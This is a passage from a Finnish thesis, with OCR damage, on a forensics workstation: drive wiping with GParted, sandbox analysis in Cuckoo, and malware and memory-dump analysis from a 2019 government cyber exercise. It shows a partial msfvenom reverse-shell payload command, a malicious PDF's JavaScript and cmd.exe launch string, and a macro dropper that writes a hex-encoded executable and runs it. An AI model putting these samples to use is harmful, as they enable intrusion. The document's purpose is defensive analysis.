teet” (ks. kuvio 18).

Kuvio 18. Laitteet

Kun puhdistettava massamuisti on valittu, valitaan valikosta ”"Osio” vaihtoehto ”De-
lete” (ks. kuvio 19). "Delete” ei vield poista massamuistin osiota. Osion poistaminen
vaatii viela "Apply”-painikkeen painamista, jolloin muutokset tulevat voimaan massa-
muistille. Valinta viela varmistetaan erilliselld Popup-ikkunalla. Téhan valitaan myos

"Apply” (ks. kuviot 20 & 21).



Kuvio 19. Osion poistaminen 1

Kuvio 20. Osion poistaminen 2
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Kuvio 21. Osion poistaminen 3

Massamuisti tyhjenee ja GPrated ilmoittaa, kun tyhjennystoimenpide on valmis (ks.

kuvio 22).

29
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Kuvio 22. Kaikki toimenpiteet valmistuivat onnistuneesti

Massamuisti voidaan todentaa tyhjaksi kun ”Osio”- seka “Tiedostojadrjestelma”-koh-
dissa lukee “varaamaton”. Seuraavaksi massamuistille luodaan uusi osio valitsemalla

kohta ”"Uusi” (ks. kuvio 23).
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Kuvio 23. Uusi osio

Uudessa ikkunassa valitaan haluttu osion koko, tiedostojarjestelma, nimi sekda muut
asetukset. Asetukset hyvaksytaan painamalla Add-painiketta (ks. kuvio 24). Taman
jalkeen asetukset asetetaan voimaan painamalla Apply-painiketta ja sama tehdaan

my0s aukeavassa Pop-up-ikkunnassa (ks. kuviot 25 & 26).



Kuvio 24.

Kuvio 25.

Osion lisadaminen

Toteuta kaikki toimenpiteet
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Kuvio 26. Apply-painike

Nyt massamuisti on tyhjennetty seka osioitu uudelleen ja on valmis kdytettavaksi.
Massamuisti voidaan irrottaa tydasemasta. GParted voidaan sammuttaa painamalla
tyopoydalla tyhjaa kohtaa hiiren oikealla painikkeella ja valikoimalla Exit-valikosta
kohta ”“shutdown-menu”. Aukeavasta ikkunasta valikoidaan kohta “Shutdown”,
jonka jalkeen tydasema sammuu (ks. kuviot 27 & 28). Taman jalkeen massamuisti,

jolla GParted on, voidaan irrottaa ty0asemasta.

Kuvio 27. Sammutus-valikko
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Kuvio 28. Sammutus

6.2 Mahdollisen haittaohjelman tutkiminen

Haittaohjelman tutkimisessa kdytetaan forensiikkatydasemalle siirrettya haittaohjel-
maa kappaleen 5.1 prosessia hyvaksikayttaen. Itse haittaohjelman tutkimisen pro-
sessi on kuvattu tassa kappaleessa. Haittaohjelmana kaytetaan Metsploit Framewor-
killa tehtya Windows 10 kayttojarjestelmalle suunnattua exe-tiedostoa, joka suoritet-
tuna mahdollistaa uhrin koneen kaytén etdna. Haittaohjelman luominen onnistuu ku-
van mukaisella komennolla Kali Linuxissa (ks. kuvio 29). Komento luo malicious.exe
nimisen exe-tiedoston. Ajettuna ja oikein toimiessaan malicious.exe luo hyokkaajan
ja uhrin koneiden vilille komentokanavan, jota hyokkaaja voi kayttaa hallitakseen uh-

rin konetta. (How to use msfvenom 2016.)

et rerse tcp -a x86 —platform windows

- exe LHOST=192.1 . malic

Kuvio 29. Metasploit Framework -komento

USB-muisti kytketaan forensiikkatybasemaan kiinni. Taman jalkeen Cuckoo seka

Cuckoon web-kayttoliittyma kdynnistetadan komennoilla:
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$ cuckoo
$ cuckoo run webserver

Seuraavaksi Cuckoon web-kayttéliittyma avataan selaimessa osoitteessa
127.0.0.1:8000. Mikali analysointi halutaan suorittaa internet-yhteytta hyvaksikayt-
tden, aktivoidaan palomuurisaannot liitteen 1 mukaisesti (ks. liite 1). Taman jalkeen
Cuckoon web-kayttoliittyman etusivulta valitaan kohta “"SUBMIT A FILE FOR

ANALYSIS” ja valitaan USB-muistilta haluttu analysoitava tiedosto (ks. kuvio 30).

@ 127.0.0.1:8000

i= Recent «f Pending Q Search

Cuckoo

tallation

SUBMIT A FILE FOR ANALYSIS

atistics

Kuvio 30. Tiedoston lahettaminen analysoitavaksi

Seuraavalta sivulta valitaan kohta ”Analyze”, jonka jalkeen Cuckoo aloittaa tiedoston

analysoinnin (ks. kuvio 31).
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Selection: 1/1

[ @ malicious.exe 72.1KiB @
i= Selection

Kuvio 31. Analysoinnin aloittaminen

Kun analysointi on valmis, analysoinnin tilaksi muuttuu ”“Reported” eli tiedosto on

analysoitu (ks. kuvio 32). Painamalla linkkia raportti aukeaa uudelle sivulle.

Task ID Date Filename / URL Package

39 (112/04/2019 @ 19:08 malicious exe exe

Done

Kuvio 32. Raportti valmis

Raportti nayttaa ”"Score”-kohdassa kuinka vakavaksi Cuckoo luokittelee tiedoston as-

teikolla 0-10 (ks. kuvio 33).

$ Score

This file shows numerous signs of malicious behavior.

The score of this file if 2.8 out of 10.

Kuvio 33. Raportin pisteytys

Lisdksi raportti antaa nopean katsauksen tiedoston kaytoksesta (ks. kuvio 34).
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8% Signatures
© The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)
© The file contains an unknown PE resource name possibly indicative of a packer (1 event)
© Performs some HTTP requests (9 events)
© Potentially malicious URLs were found in the process memory dump (50 out of 161 events)
© Communicates with host for which no DNS query was performed (1 event)

© Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 event)

Kuvio 34. Tiedoston kaytos

Raportit tallentuvat polkuun /home/.cuckoo/storage/analyses/, josta niita voidaan
tarkastella myos jalkikateen (ks. kuvio 35). Raporttien tarkastelu onnistuu myoés web-

kayttoliittyman “Recents”-kohdasta.

il Home .cuckoo

Mame

g network
ﬁ reporks
ﬁ shots

analysis.log

Kuvio 35. Raporttien fyysinen sijainti

Mikali analysointia ei tehtya internet-yhteytta hyvaksikayttdaen tai analysointi halu-
taan suorittaa ilman internet-yhteytta, voidaan palomuurisddnnot aktivoida tai deak-

tivoida (ks. liite 2). Taman jalkeen tiedosto voidaan analysoida uudestaan.

Analysoinnin jalkeen palomuurisdannot palautetaan ennalleen liitteen 2 mukaisesti.

(ks. liite 2). Téaman jalkeen tiedosto poistetaan USB-muistilta riippumatta siitd, onko
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tiedosto haitallinen vai ei. Lopuksi USB-muisti kytketdan irti tydasemasta ja palataan

kappaleen 5.1.2 mukaiseen USB-muistin kayttoprosessiin.

Tiedoston analysoinnin prosessikaavio on kuvattu alla olevan kuvan mukaisesti (ks.

kuvio 36).

——— % —,
Kaynnistd Cuckoo Léhgtléc;[(isgr?sto ﬁ){ Analysoi raportti
Yhdistd USB-muistt [ . S T
tydasemaan
h
Altivoildeaktivo W

palomuurisaanndat

b o’

.l[
v L4
Fd ™
Haittaohjelma Ei haittaohjelma
b
k
r's ™y
Palauta

palomuurisdannat

j —

_‘ll"

-
-

Poista tiedostg USB-muistilta

Irroita LUIGB-muisti
tydasgmasta

rd

Palaa USB-muistin
kayttéprosessiin

Kuvio 36. Tiedoston analysoinnin prosessikaavio
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7 Testaus

Yhdeksi opinndytetyon tavoitteeksi asetettiin, etta forensiikkatydasemaa paastaan
testaamaan 20.-24.5.2019 jarjestettavassa valtionhallinnon kansallisessa kyberturval-
lisuusharjoituksessa 2019 (KYHAvh19). Tassa kappaleessa kerrotaan kuinka forensiik-

katyoasema suoriutui tasta tavoitteesta.

7.1 Kansallinen kyberturvallisuusharjoitus 2019 valtionhallinto (KY-

HAvh19)

Opinnadytetyon tilaajaorganisaatio osallistui valtionhallinnon Kansalliseen kybertur-
vallisuusharjoitukseen. Harjoituksen jarjestdjana toimi tutkimus-, kehitys- ja koulu-
tuskeskus JYVSECTEC yhteistydssa Turvallisuuskomitean seka Valtorin (Valtion tieto-
ja viestintatekniikkakeskus), Palkeiden (Valtion talous- ja henkil6hallinnon palvelu-
keskus) ja Kelan (Kansaneldkelaitos) kanssa. Lisdksi harjoitukseen osallistui erinaisia

tukiorganisaatioita, jotka haluavat pysya nimettémina.

Harjoituksen toiminnan fokus oli valtionhallinnan kriittinen informaatio ja sen suojaa-
minen. Lisaksi tarkoituksena oli harjoituttaa valtionhallinon organisaatioiden kommu-
nikaatiota ja yhteistoimintaa kyberpoikkeamatilanteiden aikana. Harjoitus oli osa

Suomen valtion vuonna 2013 alkanutta kyberturvallisuusharjoitusten jatkumoa. (Pul-

liainen 2019.)

7.2 Tehtavat

Harjoituksen aikana forensiikkatydasemaa kaytettiin mahdollisten haittaohjelmien
automaattiseen kuin myos manuaaliseen analysointiin. Lisaksi tydasemalla suoritet-
tiin muistivedoksen analysointia (engl. memory dump) erinéisia apuohjelmia hyvaksi-
kayttdaen. Analysoitavat kohteet valikoituivat opinnaytetydntekijan oman mielenkiin-
non mukaan. Erityisesti tiedostojen epadilyttavat paatteet ja nimet herattivat kiinnos-

tuksen tiedostojen tarkempaan tutkimiseen.
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Huomioon otettavaa on, ettd harjoitusymparistossa kaytettiin Windows 7-kdyttojar-
jestelmaa ja taten sille suunnattuja haittaohjelmia/haitakkeita. Taten haittaoh-
jelma/haitake ei valttamatta toiminut suunnitellusti Cuckoon Windows 10-virtuaali-
koneessa. Lisdksi Cuckoota ei padstetty analysoimaan analysoitavia tiedostoja inter-
netin valityksella, koska forensiikkaty6asema oli kytkettyna harjoitusympariston verk-
koon. Analysoitavien tiedostojen nimet ovat sensuroitu tiedostopaatteita lukuun ot-

tamatta, niiden arkaluontoisuuden takia.

7.2.1 Pdf-tiedosto

Pdf-tiedostot ovat suosittu ja edelleen nousussa oleva tapa saastuttaa tydasemia
haittaohjelmilla. Pdf-tiedostoja lahetetdaan esimerkiksi huijaussahképostien mukana
liitetiedostoina. Tasta syysta pdf-tiedosto haluttiin ottaa analysoitavaksi harjoituksen

aikana. (ENISA Threat Landscape Report 2018, 42.)

Pdf-paatteinen tiedosto analysoitui Cuckoossa hyvin. Tama johtui siita, ettd Cuckoon
virtuaalikoneelle asennettiin AdobeAcrobat Reader, jonka avulla Cuckoo pystyi analy-
soimaan pdf-tiedoston. Adobe Acrobat Reader on pdf-tiedostojen aukaisemiseen tar-

koitettu ohjelmisto. Cuckoo antoi tiedostolle pisteytykseksi 5.2/10 (ks. kuvio 37).

& Score

This file is very suspicious, with a score of 5.2 out of 10!

Kuvio 37. Pdf-tiedoston pisteytys

Cuckoon antamasta raportista saadaan tiedoksi, ettd tydasemalle kirjoitetaan uusi
tiedosto polkuun C:\Users\Administrator\Documents\, seka luodaan komentokanava

(ks. kuviot 38 & 39). Voidaan todeta, ettd pdf-tiedosto on todella haitallinen.
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g~ Signatures

© Checks if process is being debugged by a debugger (1 event)

© One or more processes crashed (1 event)

© The PDF file contains an attachment (1 event)

© The PDF file contains JavaScript code (1 event)

© The PDF file contains an open action (1 event)

O Allocates read-write-execute memory (usually to unpack itself) (22 events)
O Creates (office) documents on the filesystem (1 event)

© Creates a suspicious process (1 event)

© The PDF open action contains JavaScript code (1 event)

© A command shell or script process was created by an unexpected parent process (1 event)
© One or more non-whitelisted processes were created (1 event)

© Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Kuvio 38. Pdf-tiedoston kadyttaytyminen 1
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© The PDF file contains an attachment (1 event) v
Attached file I

© The PDF file contains JavaScript code (1 event) L
Javascript code this.exportDataObject({ cName: R - aunch:0 m

© The PDF file contains an open action (1 event) v
Open action << {Type /Action /S /JavaScript /JS this.exportDataObject({ cName: " . nLzunch: 0 }); >>

O Allocates read-write-execute memory (usually to unpack itself) (22 events) >
© Creates (office) documents on the filesystem (1 event) v
file C\Users\Administrator\Documents\|| NN o o

@ Creates a suspicious process (1 event) v

cmd.exe /Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktup\_ pdf" (cd "Desktop"))&(if exist "My Ducuments_.pdf"
(cd "My Documents"))&(if exist "'Documents\|J Il oot (cd "Documents")a(if exist "Escritorio\ I od* (cd "Escritorio’)) &(if exist
"Mis Documentos\M p o7 (cd 'Mis Documentos'))&(start |- p<) To view the encrypted content please tick the Do not show
this message again’ box and press Open

cmdline

Kuvio 39. Pdf-tiedoston kayttaytyminen 2

7.2.2 Odt.exe-tiedosto

Odt.exe-tiedosto valikoitu analysoitavaksi sen epanormaalin tiedostopaatteen
vuoksi. Odt-paate viittaa avoimeen asiakirjaan (engl. OpenDocument) ja exe-paate
suoritettavaan ohjelmaan (engl. executable). Paatteiden kombinaatio ei ole tavan-
omainen ja viittaa taten haittaohjelmaan. Kayttajaa pyritaan huijaamaan luulemaan
tiedostoa avoimeksi asiakirjaksi, kun kyseessa onkin suoritettava exe-paatteinen tie-

dosto.

Cuckoo antoi tiedostolle pisteiksi 2/10 (ks. kuvio 40). Cuckoo yritti yhdistaa tiedoston
sisaltavaan IP-osoitteeseen, joka ei onnistunut, koska Cuckoo ei ollut yhteydessa
verkkoon (ks. kuviot 41 & 42). Tasta syysta Cuckoo pisteytti tiedoston alhaiseksi. Tie-
dostonimesta voidaan kuitenkin paatella, etta tiedosto on haitallinen. Lisaksi tiedosto

koitti ottaa yhteytta epailyttavaan IP-osoitteeseen.
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& Score

This file shows numerous signs of malicious behavior.

The score of this file is 2.0 out of 10.

Kuvio 40. Odt.exe-tiedoston pisteytys

8% Signatures

@ Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

© Communicates with host for which no DNS query was performed (1 event)

© Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 event)

Kuvio 41. Odt.exe-tiedoston kayttaytyminen 1

© Communicates with host for which no DNS query was performed (1 event)

host I
© Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 event)
dead_host 443

Kuvio 42. Odt.exe-tiedoston kayttaytyminen 2

7.2.3 Odt-tiedosto

Odt-tiedoston analysointi antoi Cuckoolla 0/10 pisteytyksen, koska virtuaalikoneelle
ei ollut asennettuna Officea. Avaamalla kuitenkin tiedoston voidaan heti huomata
sen sisaltdavan makroja varoitusilmoituksen ansiosta (ks. kuvio 43). Tiedosto valikoitui

analysointiin sen epadilyttavan nimen vuoksi.
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:I: This document conkains macros.

Macros may contain viruses. Execution of macros is disabled due
to the current macro security setting in Tools - Options -
LibreOffice - Security.

Therefore, some functionality may not be available.

| OK |

Kuvio 43. Varoitus makroista

Tiedoston sisalta |16ytyy makro, joka suoritettuna kirjoittaa exe-tiedoston tydasemalle

(ks. kuviot 44 & 45).
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1 FEM S &8 BASIC S &8

2

3

4 Function Midx(s As String, a, b As Integer) As String

5 Midx = Right(Left(s, a + b), b)

6 End Function

I

8 |Sub Main

9 Dim strx As String

10 Dim str@(37) As String

11 Dim stri(38912) As Byte

12

13 stre(@) = "4d5af00E030000000400R0R0TFFTEO0EEDE0REOREEROREERE4R00E
14 |str@(l) = "2e70646174610000c4020000006E00000004000000360000R0R00R000
15 str@(2) = "c366662e0T1T3400000000E00TIT40004883ec28488b056544000031d
16 str@(3) = "84220200008b0GE5CcEATE4ATIOZEE00CTRSeTE6dOREER1EE00REEDOEE3T
17 str@(4) = "efb7442460e005TfIffTE6ET1T440000488p35a9370000bdR1EOGROGE
18 str@(5) = "555756534883ec5384531c041b9010000004889CcTE9dECcT44244Cc0R000
19 str@(6) = "24307000000041b95cOROREACT4424285Cc000000CTA4424202e0000004
20 stro(7) = "dZ2488905a82a0000488915b12a00004883c4305b5e575d415cc3660T1
21 str@(8) = "4883ec58488b05T56000004885c0742cT20T10842480000000894Cc242
22 str@(9) = "GOOE488d34b5648c1eB034801T04Cc896020CTORORRRRRERETARdOROOS

"EOEEEERE488d442420488905186600004Cc80e04829TR4883T807Te06
"89c24981cab@ffIfff4584c04der48c24928c04d01c84c8945a841b8
"89c58bR54062000085Cc0T5254885ed7420488d0dd32e0000CTRS2662
"efeddprrfriroo0d4eeeeeefr fdebBffffffffeb9e3dldeeORceT4cc3d
"47T8b1139da74294880c8488b48104885c975ee488d0deGE60R0ROTTLS
"634a3c4801d16Tb74114488d5c01188Tb7410685c0743983e801488d
"4889d14c29c14901cE410Tb75006410Th7401485d2498d4400187431
"Fr25166500009090TF25066500009090534883ec20889ched54000000
"ed0bfefffrf4889dad4889c14989T0e84dfdf ffTe8adfdffTroeo09090
gl cEtelelelelelelelelelelelelelelelelelelelelelelelelelelelelelel e et clel e ete] elale lepel elate o hel e ete ] e ot
"B47830e23a52c6a684d6T4cd1171445de168139a59T09010690b46e84
"20202020202020202020202020202020202020202020202020202020
"2563256325632563256325632563256325634d5353452d25642d7 365
"416464T7265737320257020686173206e6T20696d6167652dT73656374
"30a0400000000000000R0RE0REEE0RER4080400000000000E0R00R00
"696e33322032303138303530360000004743433a2028474e55292037
"696e33322032303138303530360000004743433a2028474e55292037
"EO1EE0REE11RER0ERETEEEERE1E1EEEEE21110000R4TEEEOR30110E00
"ed71000080290000c4290000ecT100ERdO2000005d2ZabR0RTETIOROR
"P10EEEREE1040100044200000104010004620000010T08000TE11300
"B4420000010401000442000001040100044200000104010004420000
"3coPEEREREERER0RREEREREER49800E0149200003Cc910000EER0RR00
"POEREEERTCYTORORREEREREREERROREREOREEREReCY3ERORERERORROR
"6563744e616d6564506970650000Cc0RR43T726561T746546696c654100
"G6445786365T074696T6e46696CT4657200009d0556609727475616¢c41
"EO9EEERE4D45524e454C333222646CcEC000E0R001490000014900000
"EOCEEEEEREEEERE0R3E11400000CE00E0E0REER0RE0REER0REEEORREOR
"EOCEEEEEREEEER0EREEREREEREEE0REEE0REEEOREOREEEOREEEORREOR

23 |stre(10)
24 |stre(11)
25 |stre(12)
26 |stre(13)
27 |stre(14)
28 |stro(15)
29 |str@(16)
30 |stre(17)
31 |stre(18)
32 |stre(19)
33 |stre(ze)
34 |stre(21)
35 |stre(22)
36 |stre(23)
37 |stre(z4)
38 |stre(25)
39 |stre(26)
48 |stre(27)
41 |stre(2s)
42 |stre(29)
43 |stre(3e)
44 |stre(31)
45 |stre(32)
46 |stre(33)
A7 |stre(34)
48 |stre(35)
49 |stre(36)
50 |stre(37)

Kuvio 44. Makro 1
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53 T = Freefile

54 Open Environ("temp") & “‘x-.exe” For Binary As #T
55

56 For j=LBound({str@) To UBound{str@)

57 part = str@{j)

58 ReDim stri({Len{part) / 2)-1) As Byte

B9

60 For 1
61
62
63 Next 1

64

65 Put #f,,strl

66 Next j

67

68 Close #T

69

e Wait 2000

71

T2

T3 Shell{Environ{"temp") & ”‘a-.exe“,,, Talse)
74

75

76 |[End Sub

B To (Len{part) / 2}-1
rx = Midx(part, i*2, 2)
ri(i) = CByte("&H" & strx)

™ = |l

5
5

Kuvio 45. Makro 2

Rakentamalla riveilld 13-50 olevista hex-arvoista binaaritiedoston ja vertaamalla sita
kappaleen 6.2.2 odt.exe-tiedostoon voidaan paatelld kyseessa olevan sama haittaoh-
jelma (ks. kuvio 46). Binaaritiedosto rakennetaan xxd-ohjelmalla parametreilla r ja p.
Parametri r kertoo ohjelmalle, etta hex-arvot halutaan kaantaa binaariarvoiksi ja pa-
rametri p kokoaa arvot. Ohjelma diff vertaa ohjelman xxd luomaa tiedostoa odt.exe-

tiedostoon.

:~fDesktop$ xxd -r -p hex.bin output.bin
:~fDesktops diff output.bin .odt.exe

~/Desktops$ [

Kuvio 46. Binaaritiedoston vertaaminen odt.exe-tiedostoon

7.2.4 Muistivedos

Analysoitava muistivedos (engl. memory dump) toimitettiin halutusta tydasemasta.

Aluksi muistivedokselle suoritettiin Foremost-ohjelmalla tiedostojen palautus, jotta
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ndhtiin, saadaanko tydaseman muistista palautettua mitdan mielenkiintoista. Fore-

mostin tulostamista tiedostoista ei |0ytynyt mitdan huomion arvoista (ks. kuvio 47).

_-‘aw
|.-‘bmp
.-dd“
wl ©xe
h“gﬁ
h-‘lwm
P9
l MoV
h-‘IMf
PN
 wav
h-‘zm

audit.txt

Kuvio 47. Foremost-ohjelman |6ytamat tiedostot

Seuraavaksi muistivedosta analysoitiin Volatility-ohjelmalla. Aluksi varmistettiin tyo-

aseman muistivedoksen kuvaustiedot komennolla:

$ volatility -f muistivedos.vmem imageinfo

Komennolla ndhdaan, ettd kyseessa on Win7SP1x64 kayttojarjestelma (ks. kuvio 48).

Tata tietoa kaytetdan hyvaksi seuraavissa komennoissa.
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i :~/Desktop/KYHA/ $ volatility -f .vmem imageinfo
[Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG sear
Suggested Profile(s) : Win7SP1x64, Win7SPOx64, Win2008R2SPOx64, Win2008R2SP1x64 23418, Win2008R2SP1x64, Win7SP1x64_23418
AS Layer1l : WindowsAMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/home/ /Desktop/KYHA/ / .vmem)
PAE type : No PAE
DTB : Ox187000L
KDBG : 0xf800029f90a0L
Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU 0 : Oxfffff800029fadeoL
KUSER_SHARED_DATA : Oxfffff78000000000L
Image date and time : 2019-85-21 11:46:37 UTC+0000
Image local date and time : 2019-05-21 14:46:37 +0300

Kuvio 48. Volatility -f muistivedos.vmem imageinfo

Seuraavaksi tarkistettiin, oliko tydasemalla muistivedoksen ottamisen yhteydessa

epailyttavia prosesseja komennolla:

$ volatility -f muistivedos.vmem -profile=Win7SP1x64
pstree

Pstree listaa kdynnissa olleet prosessit ja prosessien lapsiprosessit. Epailyttavia pro-

sesseja ei loytynyt (ks. kuviot 49 & 50).

:~/Desktop/KYHA .vmem --profile=Win7SP1x64 pstree
Volatility Foundation Volatility Framework 2.6
Thds  Hnds Time

Oxfffffag002e981a0:wininit.exe 2019-05-21 132: UTC+0000
. BxfffffaB8oB303ab30:services.exe 2019-05-21 :32: UTC+0060
.. Oxfffffa8004015b30:VSSVC.exe 2019-05-21 11:32:17 UTC+0000
.. Bxfffffa8001a3fb30:CiscolebexUpda 2019-05-21 HeLH UTC+0000
.. OxfffffaB80034e5b30: fshoster64.exe 2019-05-21 11:32:11 UTC+0000
.. Oxfffffa8003901510:svchost.exe 2019-05-21 11:32:15 UTC+0000
.. Oxfffffa8003833b30:d1lhost.exe 2019-05-21 11:32:14 UTC+0000
.. Oxfffffag80040c6b30:WmiApSrv.exe 2019-05-21 11:32:36 UTC+0000
.. Oxfffffa8003121740:svchost.exe 2019-05-21 11:32:08 UTC+0000
.. Oxfffffag0034fab30:nxlog.exe 2019-05-21 11:32:12 UTC+0000
.. Oxfffffa800317ab30:svchost.exe 2019-05-21 11:32:09 UTC+0000
... Oxfffffa8001bd6910:dwm.exe 2019-05-21 11:36:13 UTC+0000
.. BxfffffaBee2820b30:svchost.exe 2019-05-21 11:32:41 UTC+0000
.. Bxfffffa8ee31adb30:svchost.exe 2019-05-21 11:32:09 UTC+0000
.. Oxfffffasee34edb30:fsulprothoster 2019-05-21 11:32:12 UTC+0000
.. Oxfffffasee3241b30:svchost.exe 2019-05-21 11:32:16 UTC+0000
.. Bxfffffa8003889620:msdtc.exe 2019-05-21 132: UTC+0000
.. Bxfffffa800451c060: fshostere4.exe 2019-05-21 132: UTC+0000
.. Bxfffffa8ee35edb30:vmtoolsd.exe 2019-05-21 :32: UTC+0060
.. OxfffffaB8003181b30:svchost.exe 2019-05-21 11:32:09 UTC+0000
... Oxfffffag8001bad4920:taskeng.exe 2019-05-21 :36: UTC+0000
.... Oxfffffa8001bcal60:CoogleUpdate.e 2019-05-21 :36: UTC+0000
.. Oxfffffa8003894060:WmiApSrv.exe 2019-05-21 11:34:40 UTC+0000
.. Oxfffffa80034d6060: fsorsp64.exe 2019-05-21 11:32:12 UTC+0000
.. Oxfffffa8003778b30:svchost.exe 2019-05-21 11:32:14 UTC+0000
.. OxfffffaB0039fd670: fsdevcon.exe 2019-05-21 11:32:16 UTC+0000
.. Oxfffffa80031c7b30:svchost.exe 2019-05-21 11:32:10 UTC+0000
.. OxfffffaB003422560: fshoster32.exe 2019-05-21 11:32:11 UTC+0000
... Oxfffffa8001a7db30:fshoster32.exe 2019-05-21 11:36:15 UTC+0000
.. BxfffffaBee314bb30:svchost.exe 2019-05-21 11:32:08 UTC+0000
.. Oxfffffasee3368b30:Ciscolebexupda 2019-05-21 11:32:16 UTC+0000
. Oxfffffa8e0309a060:svchost.exe 2019-05-21 11:32:08 UTC+0000
... Oxfffffa8ee3739b30:WmiPrvSE.exe 2019-05-21 11:32:16 UTC+0000
... Oxfffffa8003900060:WmiPrvSE.exe 2019-05-21 132: UTC+0000
.. Bxfffffa800330c3f0:spoolsv.exe 2019-05-21 HEYH UTC+0000
.. BxfffffaBBO3559570: Sysmon .exe 2019-05-21 :32: UTC+0000
_ OxfffffaBB03610060:SearchIndexer. 2019-05-21 :34: UTC+0000

Kuvio 49. Volatility -f muistivedos.vmem —profile=Win7SP1x64 pstree



49

.. OxfffffaB80030bed60:SearchFilterHo 2019-05-21 11:34:22 UTC+0000
.. OxfffffaB8001ab7b30:SearchProtocol 2019-05-21 11:37:22 UTC+0000
.. OxfffffaB800283c060:SearchProtocol 2019-05-21 11: UTC+0000
... OxfffffaBo@3abed60:SearchFilterHo 2019-05-21 11: UTC+0000
.. Oxfffffag8ee30ffb30:fshoster32.exe 2019-05-21 :32:11 UTC+0000
.. Oxfffffagee3599b30:VGAuthService. 2019-05-21 3 UTC+0000
.. Oxfffffag0031ed850:taskhost.exe 2019-05-21 H UTC+0000
.. Oxfffffage01a5c060:taskhost.exe 2019-05-21 11:36:13 UTC+0000
.. Oxfffffa8003792060:svchost.exe 2019-05-21 H UTC+0000
. Oxfffffa80028ed060: sppsvc.exe 2019-05-21 11: UTC+0000
.. Oxfffffa8003469a00:d1llhost.exe 2019-05-21 H UTC+0000
. Oxfffffa8003048900:1sm.exe 2019-05-21 3 UTC+0000
. Oxfffffa8003045b30:1sass.exe 2019-05-21 H UTC+0000
Oxfffffa8002771b30:csrss.exe 2019-05-21 11: UTC+0000
OxfffffaBo018b5450:System 2019-05-21 2 UTC+0000
. Oxfffffa8002583b30:smss.exe 2019-05-21 11: UTC+0000
OxfffffaBd01c90b30: reader_sl.exe 2019-05-21 3 UTC+0000
Oxfffffa8001a97b30: jusched.exe 2019-05-21 :36:14 UTC+0000
Oxfffffageo300fb30:winlogon.exe 2019-05-21 11: UTC+0000
. Oxfffffa80031fdee6d:LogonUI.exe 2019-05-21 3 UTC+0000
OxfffffaB8p02afb9ed:csrss.exe 2019-05-21 11:32:08 UTC+0000
. Oxfffffa8001a18320:conhost.exe 2019-05-21 H UTC+0000
Oxfffffase01ba3340:explorer.exe 2019-05-21 11: UTC+0000
. OxfffffaB8001a15060:vmtoolsd.exe 2019-05-21 :36:14 UTC+0000

Kuvio 50. Volatility -f muistivedos.vmem —profile=Win7SP1x64 pstree

Taman jalkeen tarkistettiin vield muodostetut nettiyhteydet ja prosessit joihin yhtey-

det liittyvat komennolla:

$ volatility -f muistivedos.vmem -profile=Win7SP1x64
netscan

Epailyttavia yhteyksia ulospain ei [6ytynyt ja taten tydasema todettiin puhtaaksi (ks.
kuviot 51 & 52).
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:~/Desktop/KYHA/ $ volatility -f --profile=Win7SP1x64 netscan

Volatility Foundation Volatility Framework 2.6
Proto Local Address Foreign Address Owner Created
UDPv4 0.0.0.0:5355 & svchost.exe 2019-05-21 11:32:20 UTC+0000
UDPvE $2:5355 3 svchost.exe 2019-05-21 11:32:20 UTC+0000
UDPv4 127.0.0.1:56863 fshoster32.exe 2019-05-21 11:32:17 UTC+0000
TCPv4 0.0.0.0:47001 LISTENING System
TCPvE 47001 LISTENING System
TCPv4 0.0.0.0:52499 0.0.0.0:0 LISTENING 1sass.exe
TCPv4 127.0.0.1:44117 0.0.0.0:0 LISTENING fshoster64.exe
TCPv4 10.231.2.103:52520 10.230.255.50:443 ESTABLISHED fshoster32.exe
TCPVE :0 5854:8b01:80fa: ffff:5854:8b01:80fa: ffff:0 CLOSED 476 lsass.exe
TCPV6 =96 5854:8b01:80fa: ffff:5854:8b01:80fa: ffff:0 CLOSED 4 System
TCPv4 16.231.2.103:52550 10.230.1.60:445 ESTABLISHED 4 System
TCPv4 10.231.2.103:52630 91.202.113.100:8443 CLOSE_WAIT 4236 jusched.exe
TCPv6 =36) 5854:8b01:80fa: ffff:5854:8b01:80fa: ffff:0 CLOSED 38901
UDPv6 feB0::186c:2edc:795d:b886: 546 3 716 svchost.exe 2019-05-21 11: UTC+0000
UDPv4 127.0.0.1:51809 3 476 Isass.exe 2019-05-21 3 UTC+0000
UDPv4 0.0.0.0:5355 3 324 svchost.exe 2019-05-21 $ UTC+0000
UDPv4 10.231.2.103:138 3 System 2019-05-21 3 UTC+0000
UDPv4 10.231.2.103:137 3 System 2019-05-21 $ UTC+0000
UDPv4 d svchost.exe 2019-05-21 8 UTC+0000
UDPvE i svchost.exe 2019-05-21 $ UTC+0000
UDPv4 .0.0.0: * lsass.exe 2019-05-21 : UTC+0000
UDPv6E 3 1sass.exe 2019-05-21 i UTC+0000
UDPv4 .0.0.0: 3 lsass.exe 2019-05-21 : UTC+0000
UDPv4 .0.0. 5 svchost. 2019-05-21 11: UTC+0000
UDPv4 .0.8. 3 svchost. 2019-05-21 : UTC+0000
UDPv4 .8: 3 svchost. 2019-05-21 8 UTC+0000
UDPv6 3 svchost. 2019-05-21 ! UTC+0000
UDPv4 .0.0.0: 3 svchost. 2019-05-21 8 UTC+0000
UDPv6 0 3 svchost. 2019-05-21 ! UTC+0000
UDPv4 .0.0.0: 3 svchost. 2019-05-21 8 UTC+0000
UDPv4 .0.0.0: 3 nxlog.exe 2019-05-21 $ UTC+0000
TCPv4 3 2 3 .0.0.0: LISTENING System
TCPv4 .0.0.0: .0.0.0: LISTENING 1sass.exe
TCPv6 83 LISTENING lsass.exe
TCPv4 .81 LISTENING System
TCPv6 5 LISTENING System
TCPv4 515608 LISTENING System
TCPv6 13 LISTENING System
TCPv4 .0.0.0: 55608 LISTENING System
TCPv6 54 LISTENING System

0x7e1900a0 TCPv4 .0.0. .0.0.0: LISTENING services.exe

0x7e1900a0 LISTENING 468 services.exe

0x7e190310 .0.0.0: .0.0.0: LISTENING 468 services.exe

0x7e25aef0 .0.0. .0.0. LISTENING 324 svchost.exe

0x7e268330 .0.0.0: .0.0.0: LISTENING 324 svchost.exe

